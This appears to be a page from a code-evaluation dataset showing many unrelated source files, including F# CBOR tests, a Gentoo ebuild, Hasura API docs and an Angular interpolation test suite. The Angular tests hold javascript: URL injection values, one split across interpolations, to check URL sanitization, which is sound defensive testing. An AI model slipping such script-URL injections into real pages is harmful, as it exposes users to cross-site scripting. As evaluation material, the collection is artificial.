Datasets:

kimsan0622

/

code-knowledge-eval

like 0

At: "cpp-line-02-a.hac-cpp":5: parse error: syntax error parser stacks: state value #STATE# (null) #STATE# list<(root_item)>: (instance-decl) ... [5:1..6] #STATE# (type-ref) [5:1..4] #STATE# datatype: bool [5:6..9] in state #STATE#, possible rules are: type_instance_declaration: type_id . instance_id_list ';' (#RULE#) acceptable tokens are: ID (shift)

Bison

broken-wheel/hacktist

hackt_docker/hackt/test/lexer/cpp-line-02.stderr.bison

# RNG var shr9 = asm { pop x ld r0, x ld r1, r254 # stash return address ld r254, 0 tbsz r0, 0x8000 sb r254, 0x40 tbsz r0, 0x4000 sb r254, 0x20 tbsz r0, 0x2000 sb r254, 0x10 tbsz r0, 0x1000 sb r254, 0x08 tbsz r0, 0x0800 sb r254, 0x04 tbsz r0, 0x0400 sb r254, 0x02 tbsz r0, 0x0200 sb r254, 0x01 ld r0, r254 jmp r1 # return }; sys_random = func() { # XXX: output 0 after 0x1234 to get up to full 2^16 period if (rngstate == 0x1234) return 0; if (rngstate == 0) rngstate = 0x1234; rngstate = rngstate ^ shl(rngstate, 13); rngstate = rngstate ^ shr9(rngstate); rngstate = rngstate ^ shl(rngstate, 7); return rngstate & 0x7fff; };

Slash

jes/scamp-cpu

kernel/sys_random.sl

CDF
 TIMETIME_LEN
TIME
d2019-06-292019-06-30

nesC

jpapadakis/gdal

autotest/gdrivers/data/netcdf/2d_dim_char_variable.nc

= f1 $ \ (a b) = a $ + a 2 console.log a b = f2 $ \ (a) = a 1 , a = f3 $ \ ((xs)) = head $ . xs 0 = body $ xs.slice 1 return body.length

Cirru

Cirru/cirru-script

examples/lambda.cirru

import "gUnit" as gu inherits gu.assertion.TRAIT method b { "this is b" } def o = object { inherits gu.assertion.TRAIT method d { "this is d" } assert( 1 == 1 ) } print(b) assert(true) print(o.d) print "done"

Grace

Dmitri-2/GraceWebsite

js-simple/tests/t178_ambiguousName_fail_test.grace

// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. namespace System.Formats.Cbor.Tests.DataModel open System.Formats.Cbor open System.Formats.Cbor.Tests.DataModel /// Randomly generated record containing parameters for a CBOR property-based test [<CLIMutable>] type CborPropertyTestContext = { RootDocuments : CborDocument[] ConformanceMode : CborConformanceMode ConvertIndefiniteLengthItems : bool } module rec CborPropertyTestContextHelper = /// Identifies & transforms documents that might not be accepted under the supplied conformance mode let create (mode : CborConformanceMode) (convertIndefiniteLengthItems : bool) (docs : CborDocument[]) = { RootDocuments = Array.map (normalize mode convertIndefiniteLengthItems) docs ConvertIndefiniteLengthItems = convertIndefiniteLengthItems ConformanceMode = mode } /// Gets the expected value that we would expected to see after a full serialization/deserialization roundtrip let getExpectedRoundtripValues (context : CborPropertyTestContext) = Array.map (getExpectedRoundtripValue context.ConvertIndefiniteLengthItems) context.RootDocuments /// Identifies & transforms documents that might not be accepted under the supplied conformance mode let private normalize (mode : CborConformanceMode) (convertIndefiniteLengthItems : bool) (doc : CborDocument) = // normalization can lead to collisions in conformance modes that require field uniqueness // mitigate by wrapping with a unique CBOR node let mutable counter = 19000uL let createUniqueWrapper (doc : CborDocument) = counter <- counter + 1uL Array(true, [|UnsignedInteger counter; doc|]) // not accepted by strict & canonical conformance modes let trimNonCanonicalSimpleValue doc = match doc with | SimpleValue value when value >= 24uy && value < 32uy -> createUniqueWrapper(SimpleValue 0uy) | _ -> doc // completely replace indefinite-length nodes in canonical conformance modes let trimIndefiniteLengthNode doc = match doc with | ByteStringIndefiniteLength bss -> createUniqueWrapper(ByteString (Array.concat bss)) | TextStringIndefiniteLength tss -> createUniqueWrapper(TextString (String.concat "" tss)) | Array(false, elems) -> createUniqueWrapper(Array(true, elems)) | Map(false, fields) -> createUniqueWrapper(Map(true, fields)) | _ -> doc // CTAP2 does not allow major type 6, at all let trimTagNode doc = match doc with | Tag (tag, doc) -> Array(true, [| UnsignedInteger (uint64 tag) ; doc|]) | SemanticValue _ -> createUniqueWrapper(UnsignedInteger 0uL) | _ -> doc match mode with | CborConformanceMode.Lax -> doc | CborConformanceMode.Strict | CborConformanceMode.Canonical -> map (trimNonCanonicalSimpleValue << trimIndefiniteLengthNode) doc | CborConformanceMode.Ctap2Canonical -> map (trimNonCanonicalSimpleValue << trimIndefiniteLengthNode << trimTagNode) doc | _ -> doc /// Gets the expected value that we would expected to see after a full serialization/deserialization roundtrip let private getExpectedRoundtripValue (convertIndefiniteLengthItems : bool) (doc : CborDocument) = if not convertIndefiniteLengthItems then doc else let trimIndefiniteLengthNode doc = match doc with | ByteStringIndefiniteLength bss -> ByteString (Array.concat bss) | TextStringIndefiniteLength tss -> TextString (String.concat "" tss) | Array(false, elems) -> Array(true, elems) | Map(false, fields) -> Map(true, fields) | _ -> doc map trimIndefiniteLengthNode doc /// Depth-first application of update function on a CBOR doc tree let rec private map (updater : CborDocument -> CborDocument) (doc : CborDocument) = match updater doc with | UnsignedInteger _ | NegativeInteger _ | ByteString _ | ByteStringIndefiniteLength _ | TextString _ | TextStringIndefiniteLength _ | SemanticValue _ | SimpleValue _ | Double _ as updated -> updated | Tag(tag, value) -> Tag(tag, map updater value) | Array(isDefiniteLength, elems) -> Array(isDefiniteLength, Array.map (map updater) elems) | Map(isDefiniteLength, fields) -> let updatedFields = fields |> Map.toSeq |> Seq.map (fun (k,v) -> map updater k, map updater v) |> Map.ofSeq Map(isDefiniteLength, updatedFields)

F#

pyracanda/runtime

src/libraries/System.Formats.Cbor/tests/CborDocument/CborPropertyTestContext.fs

20 5 2 0 0 1 14 3 13 15 11 2 19 4 9 1 7 12 17 5 14 [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] [0 0] 1 2 4 10 20 6 17 [11 20 4 0] [8 -4 0 5] [0 -5 9 7] [-2 16 5 5] 2 2 3 12 21 10 [6 -5 -1 15] [6 5] [15 -3 3 4] 3 2 4 16 10 17 21 [0 0 8 11] [-1 0 10 1] [1 2 0 -1] [2 8] 4 2 4 15 19 12 21 [1 12 -1 5] [4 8 6 1] [-10 -9 -4 -9] [4 3] 5 2 1 18 [3 2 0 7] 6 2 5 8 21 13 7 15 [-95 -48 -83 -56] [3 9] [-106 -75 -59 -63] [-2 -2 2 20] [-32 -55 -90 -67] 7 2 3 15 5 21 [-35 -92 -84 -95] [-6 11 -3 -2] [7 5] 8 2 3 6 9 21 [7 9 6 0] [-112 -41 -36 -103] [3 2] 9 2 3 11 21 17 [-7 21 7 6] [9 3] [-4 11 -1 0] 10 2 6 3 19 2 18 1 21 [-15 -33 -31 -11] [-1 -2 13 9] [-18 -14 -14 -18] [1 9 13 10] [-15 -39 -25 -41] [5 9] 11 2 1 16 [4 18 11 11] 12 2 2 21 4 [1 9] [0 3 -2 8] 13 2 2 9 21 [7 -2 18 1] [8 6] 14 2 2 13 21 [2 2 12 17] [1 8] 15 2 2 14 21 [-6 13 0 15] [8 6] 16 2 4 11 20 21 8 [-79 -84 -84 -69] [19 6 5 8] [7 4] [0 0 6 11] 17 2 1 21 [8 3] 18 2 2 21 5 [10 6] [-7 -3 -3 -6] 19 2 3 12 21 4 [-15 -12 -10 -7] [1 4] [-11 -8 -16 -15] 20 2 1 21 [1 1] 21 1 0 0 1 0 0 0 0 0 0 0 0 1 1 7 1 4 2 5 3 5 5 2 3 1 4 2 5 3 5 5 2 1 6 5 3 2 5 1 2 5 2 5 5 3 2 5 1 2 5 3 1 2 1 4 4 4 2 5 1 2 8 1 4 4 4 2 5 1 4 1 4 4 5 5 1 1 2 1 2 3 4 5 5 1 1 2 1 5 1 1 2 4 3 1 3 3 3 2 3 2 4 3 1 3 3 3 6 1 3 4 2 4 3 2 2 5 2 9 4 2 4 3 2 2 5 7 1 7 2 3 3 5 1 5 5 2 5 2 3 3 5 1 5 5 8 1 3 5 3 3 4 4 2 5 2 2 5 3 3 4 4 2 5 9 1 9 1 1 1 2 1 5 2 2 3 1 1 1 2 1 5 2 10 1 5 1 2 4 3 5 3 4 2 9 1 2 4 3 5 3 4 11 1 9 4 1 5 5 3 4 3 2 4 4 1 5 5 3 4 3 12 1 1 4 2 1 3 4 3 3 2 9 4 2 1 3 4 3 3 13 1 8 3 2 3 2 1 3 5 2 6 3 2 3 2 1 3 5 14 1 1 1 4 5 3 3 3 5 2 8 1 4 5 3 3 3 5 15 1 8 3 4 5 3 4 2 1 2 6 3 4 5 3 4 2 1 16 1 7 1 1 2 5 5 5 4 2 4 1 1 2 5 5 5 4 17 1 8 3 3 4 5 4 2 3 2 3 3 3 4 5 4 2 3 18 1 10 2 3 1 5 4 2 5 2 6 2 3 1 5 4 2 5 19 1 1 5 1 1 4 1 4 1 2 4 5 1 1 4 1 4 1 20 1 1 2 1 3 3 1 1 4 2 1 2 1 3 3 1 1 4 21 1 0 0 0 0 0 0 0 0 18 21 23 24 20 63 133

Eagle

klorel/or-tools

examples/data/rcpsp/multi_mode_max_delay/mm_j20/psp82.sch

# Copyright 2017-2018 Gentoo Foundation # Distributed under the terms of the GNU General Public License v2 # Auto-Generated by cargo-ebuild 0.1.5 EAPI=6 CRATES=" adler32-1.0.2 advapi32-sys-0.2.0 aho-corasick-0.6.4 ansi_term-0.11.0 arrayvec-0.4.7 atty-0.2.8 backtrace-0.3.6 backtrace-sys-0.1.16 base64-0.8.0 base64-0.9.0 bincode-0.8.0 bit-vec-0.4.4 bitflags-0.9.1 bitflags-1.0.1 bs58-0.2.0 build_const-0.2.1 byteorder-1.2.2 bytes-0.4.6 cc-1.0.10 cfg-if-0.1.2 chrono-0.4.2 clap-2.31.2 core-foundation-0.2.3 core-foundation-sys-0.2.3 crc-1.7.0 crossbeam-0.2.12 crossbeam-deque-0.3.0 crossbeam-epoch-0.4.1 crossbeam-utils-0.2.2 crossbeam-utils-0.3.2 cryptovec-0.4.4 dtoa-0.4.2 encoding_rs-0.7.2 env_logger-0.4.3 env_logger-0.5.8 errno-0.2.3 error-chain-0.11.0 filetime-0.2.0 flate2-1.0.1 fnv-1.0.6 foreign-types-0.3.2 foreign-types-shared-0.1.1 fs2-0.4.3 fuchsia-zircon-0.3.3 fuchsia-zircon-sys-0.3.3 futures-0.1.21 futures-cpupool-0.1.8 getch-0.2.0 globset-0.2.1 hex-0.3.2 httparse-1.2.4 humantime-1.1.1 hyper-0.11.25 hyper-tls-0.1.3 idna-0.1.4 ignore-0.3.1 iovec-0.1.2 isatty-0.1.7 itoa-0.3.4 itoa-0.4.1 kernel32-sys-0.2.2 language-tags-0.2.2 lazy_static-0.2.11 lazy_static-1.0.0 lazycell-0.6.0 libc-0.2.40 libflate-0.1.14 line-0.1.1 line-0.1.1 log-0.3.9 log-0.4.1 matches-0.1.6 memchr-2.0.1 memmap-0.6.2 memoffset-0.2.1 mime-0.3.5 mime_guess-2.0.0-alpha.4 miniz-sys-0.1.10 mio-0.6.14 mio-uds-0.6.4 miow-0.2.1 native-tls-0.1.5 net2-0.2.32 nodrop-0.1.12 num-0.1.42 num-bigint-0.1.43 num-complex-0.1.43 num-integer-0.1.36 num-iter-0.1.35 num-rational-0.1.42 num-traits-0.1.43 num-traits-0.2.2 num_cpus-1.8.0 openssl-0.10.6 openssl-0.9.24 openssl-sys-0.9.28 pager-0.14.0 percent-encoding-1.0.1 phf-0.7.21 phf_codegen-0.7.21 phf_generator-0.7.21 phf_shared-0.7.21 pkg-config-0.3.9 proc-macro2-0.3.6 progrs-0.1.1 quick-error-1.2.1 quote-0.5.1 rand-0.3.22 rand-0.4.2 redox_syscall-0.1.37 redox_termios-0.1.1 regex-0.2.10 regex-syntax-0.5.5 relay-0.1.1 remove_dir_all-0.5.1 reqwest-0.8.5 rpassword-2.0.0 rustc-demangle-0.1.7 rustc-serialize-0.3.24 safemem-0.2.0 same-file-1.0.2 sanakirja-0.8.16 schannel-0.1.12 scoped-tls-0.1.1 scopeguard-0.3.3 security-framework-0.1.16 security-framework-sys-0.1.16 serde-1.0.41 serde_derive-1.0.41 serde_derive_internals-0.23.1 serde_json-1.0.15 serde_urlencoded-0.5.1 shell-escape-0.1.4 siphasher-0.2.2 slab-0.3.0 slab-0.4.0 smallvec-0.2.1 strsim-0.7.0 syn-0.13.1 take-0.1.0 tar-0.4.15 tempdir-0.3.7 term-0.5.1 termcolor-0.3.6 termion-1.5.1 termios-0.2.2 textwrap-0.9.0 thread_local-0.3.5 thrussh-0.19.5 thrussh-keys-0.9.5 thrussh-libsodium-0.1.3 time-0.1.39 tokio-0.1.5 tokio-core-0.1.17 tokio-executor-0.1.2 tokio-io-0.1.6 tokio-proto-0.1.1 tokio-reactor-0.1.1 tokio-service-0.1.0 tokio-tcp-0.1.0 tokio-threadpool-0.1.2 tokio-timer-0.2.1 tokio-tls-0.1.4 tokio-udp-0.1.0 tokio-uds-0.1.7 toml-0.4.6 ucd-util-0.1.1 unicase-1.4.2 unicase-2.1.0 unicode-bidi-0.3.4 unicode-normalization-0.1.5 unicode-width-0.1.4 unicode-xid-0.1.0 unreachable-1.0.0 url-1.7.0 username-0.2.0 utf8-ranges-1.0.0 utf8parse-0.1.0 uuid-0.5.1 vcpkg-0.2.3 vec_map-0.8.0 version_check-0.1.3 void-1.0.2 walkdir-2.1.4 winapi-0.2.8 winapi-0.3.4 winapi-build-0.1.1 winapi-i686-pc-windows-gnu-0.4.0 winapi-x86_64-pc-windows-gnu-0.4.0 wincolor-0.1.6 ws2_32-sys-0.2.1 xattr-0.2.1 yasna-0.1.3 " inherit cargo DESCRIPTION="Distributed VCS based on a sound theory of patches." HOMEPAGE="https://pijul.org/" SRC_URI="https://pijul.org/releases/${P}.tar.gz $(cargo_crate_uris $CRATES)" RESTRICT="mirror" LICENSE="GPL-2+" SLOT="0" KEYWORDS="~amd64 ~x86" IUSE="" DEPEND="dev-libs/libsodium" RDEPEND="${DEPEND}" S="${WORKDIR}/${P}/${PN}" PATCHES=( "${FILESDIR}/pijul-fix-libpijul.patch" ) src_install() { export S="${WORKDIR}/${P}" cd "${S}" debug-print-function ${FUNCNAME} "$@" cargo install -j $(makeopts_jobs) --root="${D}/usr" $(usex debug --debug "") --path pijul \ || die "cargo install failed" rm -f "${D}/usr/.crates.toml" [ -d "${S}/man" ] && doman "${S}/man" || return 0 }

Gentoo Ebuild

gentoo/gentoo-rust

dev-vcs/pijul/pijul-0.10.0.ebuild

-- testing `return` propagation -> x for x in *things -> [x for x in *things] -- doesn't make sense on purpose do return x for x in *things do return [x for x in *things] do return {x,y for x,y in *things} -> if a if a a else b elseif b if a a else b else if a a else b do return if a if a a else b elseif b if a a else b else if a a else b -> a\b do a\b

MoonScript

Shados/moonscript

spec/inputs/return.moon

// Copyright 2013 The Flutter Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. /// Home screen quick-action shortcut item. class ShortcutItem { /// Constructs an instance with the given [type], [localizedTitle], and /// [icon]. /// /// Only [icon] should be nullable. It will remain `null` if unset. const ShortcutItem({ required this.type, required this.localizedTitle, this.icon, }); /// The identifier of this item; should be unique within the app. final String type; /// Localized title of the item. final String localizedTitle; /// Name of native resource (xcassets etc; NOT a Flutter asset) to be /// displayed as the icon for this item. final String? icon; }

Dart

suryatmodulus/flutter-plugins

packages/quick_actions/quick_actions_platform_interface/lib/types/shortcut_item.dart

/** * @license * Copyright Google LLC All Rights Reserved. * * Use of this source code is governed by an MIT-style license that can be * found in the LICENSE file at https://angular.io/license */ import {Component} from '@angular/core'; import {TestBed} from '@angular/core/testing'; import {By} from '@angular/platform-browser'; import {of} from 'rxjs'; describe('property interpolation', () => { it('should handle all flavors of interpolated properties', () => { @Component({ template: ` <div title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h{{eight}}i{{nine}}j"></div> <div title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h{{eight}}i"></div> <div title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h"></div> <div title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g"></div> <div title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f"></div> <div title="a{{one}}b{{two}}c{{three}}d{{four}}e"></div> <div title="a{{one}}b{{two}}c{{three}}d"></div> <div title="a{{one}}b{{two}}c"></div> <div title="a{{one}}b"></div> <div title="{{one}}"></div> ` }) class App { one = 1; two = 2; three = 3; four = 4; five = 5; six = 6; seven = 7; eight = 8; nine = 9; } TestBed.configureTestingModule({declarations: [App]}); const fixture = TestBed.createComponent(App); fixture.detectChanges(); const titles = Array.from(<NodeListOf<HTMLDivElement>>fixture.nativeElement.querySelectorAll('div[title]')) .map((div: HTMLDivElement) => div.title); expect(titles).toEqual([ 'a1b2c3d4e5f6g7h8i9j', 'a1b2c3d4e5f6g7h8i', 'a1b2c3d4e5f6g7h', 'a1b2c3d4e5f6g', 'a1b2c3d4e5f', 'a1b2c3d4e', 'a1b2c3d', 'a1b2c', 'a1b', '1', ]); }); it('should handle pipes in interpolated properties', () => { @Component({ template: ` <img title="{{(details | async)?.title}}" src="{{(details | async)?.url}}" /> ` }) class App { details = of({ title: 'cool image', url: 'http://somecooldomain:1234/cool_image.png', }); } TestBed.configureTestingModule({declarations: [App]}); const fixture = TestBed.createComponent(App); fixture.detectChanges(); const img: HTMLImageElement = fixture.nativeElement.querySelector('img'); expect(img.src).toBe('http://somecooldomain:1234/cool_image.png'); expect(img.title).toBe('cool image'); }); // From https://angular-team.atlassian.net/browse/FW-1287 it('should handle multiple elvis operators', () => { @Component({ template: ` <img src="{{leadSurgeon?.getCommonInfo()?.getPhotoUrl() }}"> ` }) class App { /** Clearly this is a doctor of heavy metals. */ leadSurgeon = { getCommonInfo() { return { getPhotoUrl() { return 'http://somecooldomain:1234/cool_image.png'; } }; } }; } TestBed.configureTestingModule({declarations: [App]}); const fixture = TestBed.createComponent(App); fixture.detectChanges(); const img = fixture.nativeElement.querySelector('img'); expect(img.src).toBe('http://somecooldomain:1234/cool_image.png'); }); it('should not allow unsanitary urls in interpolated properties', () => { @Component({ template: ` <img src="{{naughty}}"> ` }) class App { naughty = 'javascript:alert("haha, I am taking over your computer!!!");'; } TestBed.configureTestingModule({declarations: [App]}); const fixture = TestBed.createComponent(App); fixture.detectChanges(); const img: HTMLImageElement = fixture.nativeElement.querySelector('img'); expect(img.src.indexOf('unsafe:')).toBe(0); }); it('should not allow unsanitary urls in interpolated properties, even if you are tricky', () => { @Component({ template: ` <img src="{{ja}}{{va}}script:{{naughty}}"> ` }) class App { ja = 'ja'; va = 'va'; naughty = 'alert("I am a h4xx0rz1!!");'; } TestBed.configureTestingModule({declarations: [App]}); const fixture = TestBed.createComponent(App); fixture.detectChanges(); const img = fixture.nativeElement.querySelector('img'); expect(img.src.indexOf('unsafe:')).toBe(0); }); it('should handle interpolations with 10+ values', () => { @Component({ selector: 'app-comp', template: ` <a href="http://g.com/?one={{'1'}}&two={{'2'}}&three={{'3'}}&four={{'4'}}&five={{'5'}}&six={{'6'}}&seven={{'7'}}&eight={{'8'}}&nine={{'9'}}&ten={{'10'}}">link2</a>` }) class AppComp { } TestBed.configureTestingModule({declarations: [AppComp]}); const fixture = TestBed.createComponent(AppComp); fixture.detectChanges(); const anchor = fixture.debugElement.query(By.css('a')).nativeElement; expect(anchor.getAttribute('href')) .toEqual( `http://g.com/?one=1&two=2&three=3&four=4&five=5&six=6&seven=7&eight=8&nine=9&ten=10`); }); it('should support the chained use cases of propertyInterpolate instructions', () => { // The below *just happens* to have two attributes in a row that have the same interpolation // count. @Component({ template: ` <img title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h{{eight}}i{{nine}}j" alt="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h{{eight}}i{{nine}}j"/> <img title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h{{eight}}i" alt="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h{{eight}}i"/> <img title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h" alt="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g{{seven}}h"/> <img title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g" alt="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f{{six}}g"/> <img title="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f" alt="a{{one}}b{{two}}c{{three}}d{{four}}e{{five}}f"/> <img title="a{{one}}b{{two}}c{{three}}d{{four}}e" alt="a{{one}}b{{two}}c{{three}}d{{four}}e"/> <img title="a{{one}}b{{two}}c{{three}}d" alt="a{{one}}b{{two}}c{{three}}d"/> <img title="a{{one}}b{{two}}c" alt="a{{one}}b{{two}}c"/> <img title="a{{one}}b" alt="a{{one}}b"/> <img title="{{one}}" alt="{{one}}"/> ` }) class AppComp { one = 1; two = 2; three = 3; four = 4; five = 5; six = 6; seven = 7; eight = 8; nine = 9; } TestBed.configureTestingModule({declarations: [AppComp]}); const fixture = TestBed.createComponent(AppComp); fixture.detectChanges(); const titles = Array .from(<NodeListOf<HTMLImageElement>>fixture.nativeElement.querySelectorAll( 'img[title]')) .map((img: HTMLImageElement) => img.title); expect(titles).toEqual([ 'a1b2c3d4e5f6g7h8i9j', 'a1b2c3d4e5f6g7h8i', 'a1b2c3d4e5f6g7h', 'a1b2c3d4e5f6g', 'a1b2c3d4e5f', 'a1b2c3d4e', 'a1b2c3d', 'a1b2c', 'a1b', '1', ]); const others = Array.from(<NodeListOf<HTMLImageElement>>fixture.nativeElement.querySelectorAll('img[alt]')) .map((img: HTMLImageElement) => img.alt); expect(others).toEqual([ 'a1b2c3d4e5f6g7h8i9j', 'a1b2c3d4e5f6g7h8i', 'a1b2c3d4e5f6g7h', 'a1b2c3d4e5f6g', 'a1b2c3d4e5f', 'a1b2c3d4e', 'a1b2c3d', 'a1b2c', 'a1b', '1', ]); }); });

TypeScript

raghavendramohan/angular

packages/core/test/acceptance/property_interpolation_spec.ts

.. meta:: :description: Hasura RESTified GraphQL API reference :keywords: hasura, docs, REST API, API reference .. _restified_api_reference: RESTified GraphQL Endpoints API Reference ========================================= .. contents:: Table of contents :backlinks: none :depth: 1 :local: Introduction ------------ The RESTified GraphQL API allows for the use of a REST interface to saved GraphQL queries and mutations. Users specify the query or mutation they wish to make available, as well a URL template. Segments of the URL template can potentially capture data to be used as GraphQL variables. See :ref:`api_restified_endpoints` for information on how to work with endpoints through the metadata apis. .. admonition:: Supported from RESTified endpoints are supported from versions ``v2.0.0-alpha.1`` and above. Endpoint -------- Requests are made to ``/api/rest/**`` endpoints. By default these are: * ``GET``, ``POST`` requests for queries, and * ``POST`` requests for mutations Although not in the REST spirit, ``POST`` requests are allowed by default for non-mutation queries since some HTTP clients may not be able to supply a JSON body for GET requests. If required, users may explicitly configure the HTTP methods allowed per endpoint. API Spec -------- Request ^^^^^^^ Endpoints are determined by the URL templates: * Simple URLs such as ``/s1/s2/s3`` match literally. * Segments starting with a ``:`` treat these parts of the path like wildcards and use the name to assign a variable. For example: ``/s1/:id/s3``. The request expects a normal REST style request to the endpoint. Variables can be supplied via route patterns, url query variables, and request body JSON object keys. * JSON Body Object values are passed directly to the associated query with no additional validation or type-coersion. * Route variables and Query parameters are interpreted as scalars according to the variables types in the associated query and passed as JSON data through the query variables: * Missing nullable variables are interpreted as ``NULL`` * Boolean variables are interpreted as ``Boolean`` * Boolean flags without values e.g. ``/api/rest/myquery?mybool`` are interpreted as ``true`` * String variables are interpreted as ``String`` * UUID variables are interpreted as ``String`` * ID variables are interpreted as ``String`` * Number, Int, Float, and Double variables are interpreted as ``Number`` * **All other types or mismatches currently report variable type errors** When making a request to this API only one endpoint should match. If multiple endpoints match your request this is considered an error and will report so via a 500 status code. If endpoints exist with your path, but none matching your HTTP method then a 405 error will be returned listing the methods that you can use. Sample requests *************** .. code-block:: http GET /api/rest/simple_query/1 HTTP/1.1 .. code-block:: http POST /api/rest/complicated_mutation/2?time=now HTTP/1.1 Content-Type: application/json { "user": {"name": "Simon"} } Response ^^^^^^^^ The response is determined by the saved query. The response will be the same as if you had made the query directly in the GraphQL console. See the :ref:`api_reference_graphql` for more details. OpenAPI 3 Specification --------------------------- The OpenAPI 3 specification of the REST endpoints are exposed at ``/api/swagger/json`` for admin role only: .. code-block:: http GET /api/swagger/json HTTP/1.1 X-Hasura-Role: admin The response JSON will be a OpenAPI 3 specification (OAS 3.0) for all the RESTified GraphQL Endpoints for admin roles. For more details about OAS 3.0, `click here <https://swagger.io/specification/>`__. Sample request ^^^^^^^^^^^^^^ .. code-block:: http GET /api/swagger/json HTTP/1.1 X-Hasura-Role: admin Response ^^^^^^^^ .. code-block:: JSON { "openapi": "3.0.0", "info": { "version": "", "title": "Rest Endpoints", "description": "These OpenAPI specifications are automatically generated by Hasura." }, "paths": { "/api/rest/users": { "get": { "summary": "Fetch user data", "description": "This API fetches user data (first name and last name) from the users table.\n***\nThe GraphQl query for this endpoint is:\n``` graphql\nquery MyQuery{\n users {\n first_name\n last_name\n }\n}\n```", "responses": {} }, "parameters": [ { "schema": { "type": "string" }, "in": "header", "name": "x-hasura-admin-secret", "description": "Your x-hasura-admin-secret will be used for authentication of the API request." } ] } }, "components": {} }

reStructuredText

devrsi0n/graphql-engine

docs/graphql/core/api-reference/restified.rst

.modal-dialog .modal-content img(src="/images/pages/play/modal/leaderboard-background.png", draggable="false")#leaderboard-background h1.level-title= levelName div#close-modal span.glyphicon.glyphicon-remove ul#leaderboard-nav.nav.nav-pills.nav-stacked - var lastScoreType = null; for submenu, index in submenus if lastScoreType && submenu.scoreType != lastScoreType br li(class=index ? "" : "active") a(href='#' + submenu.scoreType + '-' + submenu.timespan + '-view', data-toggle='tab') if submenu.scoreType != lastScoreType .scoreType(data-i18n='leaderboard.' + submenu.scoreType.replace('-', '_'))= submenu.scoreType else .scoreType &nbsp; .timespan(data-i18n='leaderboard.' + submenu.timespan) - lastScoreType = submenu.scoreType; .tab-content.leaderboard-tab-content for submenu, index in submenus .tab-pane(id=submenu.scoreType + '-' + submenu.timespan + '-view') .leaderboard-tab-view

Jade

cihatislamdede/codecombat

app/templates/play/modal/leaderboard-modal.jade

Red [ Title: "Red database to datatype matrix" Author: "Peter W A Wood" Tabs: 4 Rights: {Copyright (C) 2011-2015 Nenad Rakocevic, Andreas Bolka, David Olivia, Xie Qing Tian, Peter W A Wood. All rights reserved.} License: { Distributed under the Boost Software License, Version 1.0. See https://github.com/red/red/blob/master/BSL-License.txt } ] [ action! [ accessor! "to be decided" action! "Rebol 2 throws a script error - is this wanted?" actor! "to be decided" bigint! [throw-error 'script] bignum! [throw-error 'script] bitset! [throw-error 'script] binary! {R2 - returns ?action? in binary form} block! {R2 - creates a block containing the word action} char! [throw-error 'script] closure! "to be decided" context! [throw-error 'script] datatype! [throw-error 'script] date! [throw-error 'script] decimal! [throw-error 'script] email! {R2 - returns the string ?action?} error! [throw-error 'script] file! {R2 - returns %?action?} float! [throw-error 'script] float32! [throw-error 'script] function! {R2 throws error - is this what is wanted?} get-path! {R2 returns the word action} get-word! [throw-error 'script] image! [throw-error 'script] integer! [throw-error 'script] ipv6! [throw-error 'script] issue! {R2 - returns #?action?} lit-path! {R2 - returns 'action} lit-word! [throw-error 'script] map! [throw-error 'script] module! "to be decided" logic! {R2 returns true} native! {R2 returns true} none! {R2 returns none} object! [throw-error 'script] op! {R2 throws error} pair! [throw-error 'script] paren! {R2 - returns (action)} path! {R2 - returns word action} percent! [throw-error 'script] point! [throw-error 'script] port! [throw-error 'script] refinement! [throw-error 'script] routine! "to be decided" set! [throw-error 'script] set-path! {R2 returns action: } set-word! [throw-error 'script] string! {R2 returns the string ?action?} symbol! [throw-error 'script] tag! {R2 returns <?action?>} time! [throw-error 'script] tuple! [throw-error 'script] typeset! {R2 returns [action]} unset! [throw-error 'script] url! {R2 returns url? - ?action?} utype! {to be provided by user} vector! [throw-error 'script] word! [throw-error 'script] ] integer! [ accessor! [throw-error 'script] action! [throw-error 'script] actor! [throw-error 'script] bigint! {make bigint! of same magnitude} bignum! {make bignum! of same magnitude, no decimal places} bitset! [throw-error 'script] binary! {R2 - convert to ASCII encoded string} block! {R2 - create block containing the integer} char! {R2 - make char! when integer! in range 0 - 255 - Other integers - throw-error 'math char!is an unsigned byte in Rebol2 but a Unicode codepoint with a value range of 00h to 10FFFFFFh in Red} closure! [throw-error 'script] context! [throw-error 'script] datatype! [throw-error 'script] date! [throw-error 'script] decimal! {make decimal! of same magnitude} email! {R2 - convert the integer to string! and then make email!} error! [throw-error 'script] file! {R2 - convert the integer to string! and then make file!} float! {make a float! of the same magnitude} float32! {make a float32! of the same magnitude} function! [throw-error 'script] get-path! [throw-error 'script] get-word! [throw-error 'script] image! [throw-error 'script] integer! {make a new value of the same magnitude} ipv6! [throw-error 'script] issue! {R2 - convert the integer to string! and then make issue!} lit-path! [throw-error 'script] lit-word! [throw-error 'script] map! [throw-error 'script] module! [throw-error 'script] logic! {R2 make false if integer is 0, true for all other integers} native! [throw-error 'script] none! none object! [throw-error 'script] op! [throw-error 'script] pair! {R2 - make pair! using the integer for both x and y} paren! {R2 - make paren! enclosing the integer} path! {R2 - convert the integer! to string!and then make path!} percent! {Make a percent! of the same magnitude} point! {R2 - make point! using the integer for both x and y} port! [throw-error 'script] refinement! [throw-error 'script] routine! [throw-error 'script] set! {make a set! containing the integer} set-path! [throw-error 'script] set-word! [throw-error 'script] string! [mold integer] symbol! [throw-error 'script] tag! {R2 - convert to string! and then make tag!} time! {R2 - make time! treating the integer as seconds} tuple! {R2 